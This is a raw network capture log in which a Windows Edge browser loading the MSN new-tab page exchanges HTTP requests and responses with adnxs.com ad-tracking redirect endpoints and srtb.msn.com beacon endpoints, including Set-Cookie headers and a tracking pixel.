2025-01-08 15:18:54 UTC	718	OUT	GET /seg?add=5159620&redir=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D483%26code%3D37FD034F4FC568D43F2E16214E436968%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1 Host: m.adnxs.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 15:18:54 UTC	1582	IN	HTTP/1.1 307 Redirection Server: nginx/1.23.4 Date: Wed, 08 Jan 2025 15:18:54 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://m.adnxs.com/bounce?%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D37FD034F4FC568D43F2E16214E436968%2526gdpr%253D0%2526gdpr_consent%253D AN-X-Request-Uuid: 372904f4-fe4b-41c5-86b3-81fa45ff903f Set-Cookie: XANDR_PANID=Qz0aoGRVwhDnMhgVQhpJj_5FvFKc60Y3PHMmM-3KSLJ9ROJqWxzL55gox6BkRPg_O54cNYzxnWEvzXQJ7AYlmGCvZvn2C40LmTr54V-dKLM.; SameSite=None; Path=/; Max-Age=7776000; Expires=Tue, 08-Apr-2025 15:18:54 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Wed, 27-Dec-2034 15:18:54 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=5273819662409578281; SameSite=None; Path=/; Max-Age=7776000; Expires=Tue, 08-Apr-2025 15:18:54 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 185.246.209.154; 185.246.209.154; 570.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.11.20	51712	68.67.179.153	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:54 UTC	861	OUT	GET /mapuid?member=280&user=37FD034F4FC568D43F2E16214E436968&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D37FD034F4FC568D43F2E16214E436968%2526gdpr%253D0%2526gdpr_consent%253D HTTP/1.1 Host: m.adnxs.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 15:18:54 UTC	1681	IN	HTTP/1.1 307 Redirection Server: nginx/1.23.4 Date: Wed, 08 Jan 2025 15:18:54 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://m.adnxs.com/bounce?%2Fmapuid%3Fmember%3D280%26user%3D37FD034F4FC568D43F2E16214E436968%26gdpr%3D0%26gdpr_consent%3D%26redir%3Dhttps%253A%252F%252Fm.adnxs.com%252Fseg%253Fadd%253D5159620%2526redir%253Dhttps%25253A%25252F%25252Fib.adnxs.com%25252Fsetuid%25253Fentity%25253D483%252526code%25253D37FD034F4FC568D43F2E16214E436968%252526gdpr%25253D0%252526gdpr_consent%25253D AN-X-Request-Uuid: 66a762b9-4560-4c22-951a-3b28acc13d66 Set-Cookie: XANDR_PANID=Z_x_AzBWWUVSfW81pj6jbVQz_2a0C6Rp5pjQf7XgCtzQZeB3N2t89jKuInSTRYFuw_ShSciURRhKXhWzoFE3jQBmxj8n-F5sLQvw_W6Dq4s.; SameSite=None; Path=/; Max-Age=7776000; Expires=Tue, 08-Apr-2025 15:18:54 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Wed, 27-Dec-2034 15:18:54 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=4533366159172982007; SameSite=None; Path=/; Max-Age=7776000; Expires=Tue, 08-Apr-2025 15:18:54 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 185.246.209.154; 185.246.209.154; 570.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.11.20	58283	68.67.179.153	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:54 UTC	760	OUT	GET /bounce?%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D37FD034F4FC568D43F2E16214E436968%2526gdpr%253D0%2526gdpr_consent%253D HTTP/1.1 Host: m.adnxs.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 15:18:54 UTC	1249	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Wed, 08 Jan 2025 15:18:54 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://ib.adnxs.com/setuid?entity=483&code=37FD034F4FC568D43F2E16214E436968&gdpr=0&gdpr_consent= AN-X-Request-Uuid: f4840bb0-ca7a-404c-85ab-4ccabd28ef23 Set-Cookie: anj=dTM7k!M4/8CxrEQF']wIg2GVNr`-F+!]tbP6j2F-XstGt!@E7H%1(^T; SameSite=None; Path=/; Max-Age=7776000; Expires=Tue, 08-Apr-2025 15:18:54 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Wed, 27-Dec-2034 15:18:54 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned X-Proxy-Origin: 185.246.209.154; 185.246.209.154; 570.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.11.20	57071	68.67.179.153	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:54 UTC	931	OUT	GET /bounce?%2Fmapuid%3Fmember%3D280%26user%3D37FD034F4FC568D43F2E16214E436968%26gdpr%3D0%26gdpr_consent%3D%26redir%3Dhttps%253A%252F%252Fm.adnxs.com%252Fseg%253Fadd%253D5159620%2526redir%253Dhttps%25253A%25252F%25252Fib.adnxs.com%25252Fsetuid%25253Fentity%25253D483%252526code%25253D37FD034F4FC568D43F2E16214E436968%252526gdpr%25253D0%252526gdpr_consent%25253D HTTP/1.1 Host: m.adnxs.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 15:18:55 UTC	1533	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Wed, 08 Jan 2025 15:18:54 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://m.adnxs.com/seg?add=5159620&redir=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D483%26code%3D37FD034F4FC568D43F2E16214E436968%26gdpr%3D0%26gdpr_consent%3D AN-X-Request-Uuid: 956d07b8-1b5c-4000-99bf-826928921508 Set-Cookie: XANDR_PANID=lbPhD1J3vgXo8E3vLl6nfePFvonWN0m1EQViMULHEo2v6c243yFENwKNn045hQKV5zI5aOfGB2cSIC1f-EyyAWEjS7U0M_WCE3OObpHk_ng.; SameSite=None; Path=/; Max-Age=7776000; Expires=Tue, 08-Apr-2025 15:18:54 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Wed, 27-Dec-2034 15:18:54 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=227273757858547413; SameSite=None; Path=/; Max-Age=7776000; Expires=Tue, 08-Apr-2025 15:18:54 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 185.246.209.154; 185.246.209.154; 570.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.11.20	53846	68.67.181.248	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:55 UTC	652	OUT	GET /setuid?entity=483&code=37FD034F4FC568D43F2E16214E436968&gdpr=0&gdpr_consent= HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 15:18:55 UTC	1429	IN	HTTP/1.1 307 Redirection Server: nginx/1.23.4 Date: Wed, 08 Jan 2025 15:18:55 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://ib.adnxs.com/bounce?%2Fsetuid%3Fentity%3D483%26code%3D37FD034F4FC568D43F2E16214E436968%26gdpr%3D0%26gdpr_consent%3D AN-X-Request-Uuid: 2987fdd4-2ac0-4ea0-bfd6-9060d29d3a3c Set-Cookie: XANDR_PANID=n-QhiS45a04Up3L7vORHdwQW4t-H4x9QmZearByfWK43SpO78tn8Eny73Lgn-ocPnRvYDhJREIqiKuq-mLxE4Iv-P0LjcKiqJb_q37OcOVo.; SameSite=None; Path=/; Max-Age=7776000; Expires=Tue, 08-Apr-2025 15:18:55 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Wed, 27-Dec-2034 15:18:55 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=4205173449411876571; SameSite=None; Path=/; Max-Age=7776000; Expires=Tue, 08-Apr-2025 15:18:55 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 185.246.209.154; 185.246.209.154; 1043.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.11.20	60105	68.67.179.153	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:55 UTC	718	OUT	GET /seg?add=5159620&redir=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D483%26code%3D37FD034F4FC568D43F2E16214E436968%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1 Host: m.adnxs.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 15:18:55 UTC	1582	IN	HTTP/1.1 307 Redirection Server: nginx/1.23.4 Date: Wed, 08 Jan 2025 15:18:55 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://m.adnxs.com/bounce?%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D37FD034F4FC568D43F2E16214E436968%2526gdpr%253D0%2526gdpr_consent%253D AN-X-Request-Uuid: af7f4b5b-103b-4689-83a4-5091030c1b44 Set-Cookie: XANDR_PANID=C4Gzy7pbGPGffy4X0BzOQc4rIfVZGvr98Mpg8fCAf2N2R6a-r6KGPDkpgPc4RgAzkWQpcv2szl09N9R218DylsY2GCmxfjIebtbXbkHKOWY.; SameSite=None; Path=/; Max-Age=7776000; Expires=Tue, 08-Apr-2025 15:18:55 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Wed, 27-Dec-2034 15:18:55 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=4062578869531008881; SameSite=None; Path=/; Max-Age=7776000; Expires=Tue, 08-Apr-2025 15:18:55 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 185.246.209.154; 185.246.209.154; 570.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.11.20	62026	68.67.181.248	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:55 UTC	678	OUT	GET /bounce?%2Fsetuid%3Fentity%3D483%26code%3D37FD034F4FC568D43F2E16214E436968%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 15:18:56 UTC	1184	IN	HTTP/1.1 200 OK Server: nginx/1.23.4 Date: Wed, 08 Jan 2025 15:18:56 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness AN-X-Request-Uuid: 7a530f6e-7fe0-448c-8a6b-b66f3d88c404 Set-Cookie: anj=dTM7k!M4.FE:2jUF']wIg2E?]r`-F+!]tbPl1N!y*v_#NUa+OUVz?o(Q7=Cp_e3DLQn#c1SkT4HSjM[7Q9[NJVB(K2Jme..<QG=%9sk@3@'s>TZoN8m; SameSite=None; Path=/; Max-Age=7776000; Expires=Tue, 08-Apr-2025 15:18:56 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Wed, 27-Dec-2034 15:18:56 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned X-Proxy-Origin: 185.246.209.154; 185.246.209.154; 1043.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com
2025-01-08 15:18:56 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a!,@L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.11.20	63867	204.79.197.203	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:55 UTC	996	OUT	GET /notify/served?rid=b25d3f03ced44bf6925dc8ded78e8089&r=infopane&i=3&p=edgechrntp&l=en-us&d=bing&b=Edg&a=2283769c-61e3-48bd-8dc8-e87035a8fc80&ii=1&c=6778524747806682709&bid=88f1f8be-5d15-41a3-ac96-ad67b9470094&tid=edgechrntp-infopane-3&ptid=edgechrntp-peekinfopane-1&t=type.msft-content-card&dec=1-1 HTTP/1.1 Host: srtb.msn.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
2025-01-08 15:18:56 UTC	581	IN	HTTP/1.1 204 No Content Cache-Control: no-cache Pragma: no-cache Content-Type: image/gif Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 4A3DE07CB2AF4906BE7BC5403A93D978 Ref B: CHI30EDGE0212 Ref C: 2025-01-08T15:18:56Z Date: Wed, 08 Jan 2025 15:18:55 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.11.20	50726	204.79.197.203	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:55 UTC	1007	OUT	GET /notify/served?rid=b25d3f03ced44bf6925dc8ded78e8089&r=infopane&i=11&p=edgechrntp&l=en-us&d=bing&b=Edg&a=4cf78bc2-d1f6-4e8a-8c92-096659eac4cb&ii=1&c=14308996391598105688&bid=88f1f8be-5d15-41a3-ac96-ad67b9470094&tid=edgechrntp-infopane-11&ptid=edgechrntp-peekInfopane-2&t=type.msft-content-card&dec=1_6_7-1_6_7 HTTP/1.1 Host: srtb.msn.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
2025-01-08 15:18:56 UTC	581	IN	HTTP/1.1 204 No Content Cache-Control: no-cache Pragma: no-cache Content-Type: image/gif Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: CCF2E05585ED4454B88A2CDABCBB9610 Ref B: CHI30EDGE0116 Ref C: 2025-01-08T15:18:56Z Date: Wed, 08 Jan 2025 15:18:55 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.11.20	49955	68.67.179.153	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:55 UTC	760	OUT	GET /bounce?%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D37FD034F4FC568D43F2E16214E436968%2526gdpr%253D0%2526gdpr_consent%253D HTTP/1.1 Host: m.adnxs.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 15:18:56 UTC	1249	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Wed, 08 Jan 2025 15:18:56 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://ib.adnxs.com/setuid?entity=483&code=37FD034F4FC568D43F2E16214E436968&gdpr=0&gdpr_consent= AN-X-Request-Uuid: 6ce4060e-fa12-4e1e-99a2-a68a1851e4d0 Set-Cookie: anj=dTM7k!M4/8CxrEQF']wIg2E?]r`-F+!]tbP6j2F-XstGt!@E9#%1t7]; SameSite=None; Path=/; Max-Age=7776000; Expires=Tue, 08-Apr-2025 15:18:56 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Wed, 27-Dec-2034 15:18:56 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned X-Proxy-Origin: 185.246.209.154; 185.246.209.154; 570.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.11.20	57462	204.79.197.203	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:56 UTC	1001	OUT	GET /notify/served?rid=b25d3f03ced44bf6925dc8ded78e8089&r=resinfopane&i=6&p=edgechrntp&l=en-us&d=bing&b=Edg&a=7b2aa874-59d1-47f3-8133-fd56b2e463d7&ii=1&c=1749522421001906498&bid=88f1f8be-5d15-41a3-ac96-ad67b9470094&tid=edgechrntp-resinfopane-6&ptid=edgechrntp-resinfopane-1&t=type.msft-content-card&dec=1-1 HTTP/1.1 Host: srtb.msn.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
